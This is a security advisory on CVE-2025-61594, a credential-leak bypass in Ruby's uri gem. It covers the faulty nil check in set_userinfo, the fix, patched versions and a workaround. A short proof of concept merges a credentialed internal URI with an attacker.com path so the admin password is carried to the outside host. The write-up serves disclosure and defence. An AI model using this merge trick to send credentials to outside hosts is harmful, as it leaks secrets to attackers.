Ruby's `uri` gem failed to scrub credentials (username/password) when merging URIs or changing hosts. If your code modifies a URL containing secrets (e.g., `http://admin:pass@internal`), it might accidentally carry those secrets over to the new destination (e.g., `http://admin:pass@public`), leaking credentials to external servers.
A deep dive into a credential leakage vulnerability in Ruby's standard `uri` gem, where updating a URI's host or port fails to clear sensitive user information, effectively bypassing the fix for CVE-2025-27221.
In the world of web security, we generally agree on one thing: if you change the destination of a request, you should probably check your baggage before you leave. Specifically, if you have a URL like http://admin:supersecret@private-internal-server.local, and you decide to redirect that traffic or merge it with a new path pointing to google.com, common sense (and RFC 3986) dictates that the credentials shouldn't tag along. You wouldn't hand your house keys to the taxi driver just because you changed your destination.
Yet, here we are again. CVE-2025-61594 is a vulnerability in the Ruby uri gem—a fundamental library used by millions of Ruby applications to parse and manipulate URLs. It is, effectively, a bypass of a previous fix (CVE-2025-27221). The developers tried to stop credentials from leaking when URIs were merged, but the logic had a hole in it.
This isn't a remote code execution that will burn down your data center overnight. It's subtler. It's a logic flaw that turns a safe-looking URL transformation into a silent credential leak. If your application constructs URLs dynamically—perhaps for a web crawler, a proxy, or an API client—you might be sending your basic auth headers to random servers without ever knowing it.
To understand this bug, you have to understand the anatomy of a URI. In http://user:pass@host:port/path, the section user:pass@host:port is collectively known as the Authority. The standard says that if you replace the Authority, you replace all of it. You don't keep the old user/pass and attach it to the new host. That would be like keeping your old door lock code when you move to a new apartment.
The root cause in the uri gem was a failure to atomize this concept. The library treated host, port, and userinfo (the credential part) as loosely coupled neighbors rather than a single cohesive unit.
Specifically, the merge method and the property setters (host=, port=) were too polite. When a programmer updated the host of a URI object, the library updated the host string but forgot to wipe the userinfo. This meant the credentials from the previous context persisted, effectively attaching themselves to the new domain. The previous fix for CVE-2025-27221 attempted to address this, but it missed edge cases involving specific setter methods and relative URI merges.
The smoking gun lies in the set_userinfo method and how it handled—or failed to handle—nil values. In the vulnerable versions, the code looked something like this (simplified for dramatic effect):
# Vulnerable Logic
def set_userinfo(user, password = nil)
@user = user
@password = password if password
endSee the problem? @password = password if password. If you passed nil to clear the password, the condition if password evaluated to false, and the assignment was skipped. The old password remained in memory. It's a classic "check for existence" bug where nil (absence) is treated the same as false, preventing the explicit clearing of the variable.
The fix involved two major changes. First, set_userinfo was updated to blindly assign whatever it is given, allowing nil to actually wipe the memory:
# Fixed Logic
def set_userinfo(user, password = nil)
@user = user
@password = password # No conditional guard
endSecond, the setters for host= and port= were updated to explicitly call set_userinfo(nil) whenever the destination changed. This enforces the rule: New Host = No Credentials.
# Fixed Setter
def host=(v)
check_host(v)
set_userinfo(nil, nil) # Explicitly wipe creds
@host = v
endExploiting this doesn't require complex buffer overflows or heap grooming. It just requires standard Ruby code doing what seems like a standard operation. Imagine a scenario where an application takes a base internal URL and merges it with a user-provided path.
Here is a Proof of Concept (PoC) demonstrating the leak:
require 'uri'
# 1. We start with an internal URI containing admin credentials
base_uri = URI.parse("http://admin:supersecret@internal-vault.local")
# 2. We receive a "relative" URI from an untrusted source.
# The attacker provides a scheme-less URI pointing to their server.
malicious_input = "//attacker.com/leak"
# 3. We merge them. The developer expects the host to change.
# They do NOT expect the credentials to transfer.
leaked_uri = base_uri + malicious_input
puts leaked_uri.to_sVulnerable Output:
http://admin:supersecret@attacker.com/leak
Fixed Output:
http://attacker.com/leak
In the vulnerable version, the + operator (alias for merge) sees the new host attacker.com, applies it, but fails to scrub the admin:supersecret pair. The application then proceeds to make a request to attacker.com, unwittingly handing over the keys to the kingdom via Basic Auth headers.
The remediation is straightforward: you need to patch the underlying library. Because uri is a default gem bundled with Ruby, this might mean updating Ruby itself or specifically updating the gem version in your Gemfile.
Required Versions:
uri gem 0.12.5 or lateruri gem 0.13.3 or later (for the 0.13.x branch)uri gem 1.0.4 or later (for the 1.0.x branch)If you cannot patch immediately, you must defensively code around URI construction. Never assume URI#merge or URI#+ will sanitize credentials for you. If you are handling URIs that might contain sensitive info, manually strip the userinfo component before performing any merge operations.
# Workaround
clean_base = base_uri.dup
clean_base.user = nil
clean_base.password = nil
safe_uri = clean_base + untrusted_inputCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U| Product | Affected Versions | Fixed Version |
|---|---|---|
uri Ruby | < 0.12.5 | 0.12.5 |
uri Ruby | 0.13.0 - 0.13.2 | 0.13.3 |
uri Ruby | 1.0.0 - 1.0.3 | 1.0.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-212 |
| Attack Vector | Network |
| CVSS Score | 2.7 (Low) |
| CVSS Vector | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U |
| Impact | Credential Leakage |
| EPSS Score | 0.00045 |
The product stores, transfers, or otherwise manages sensitive information but does not clear or overwrite that information when it is no longer needed or when the context changes.
Get the latest CVE analysis reports delivered to your inbox.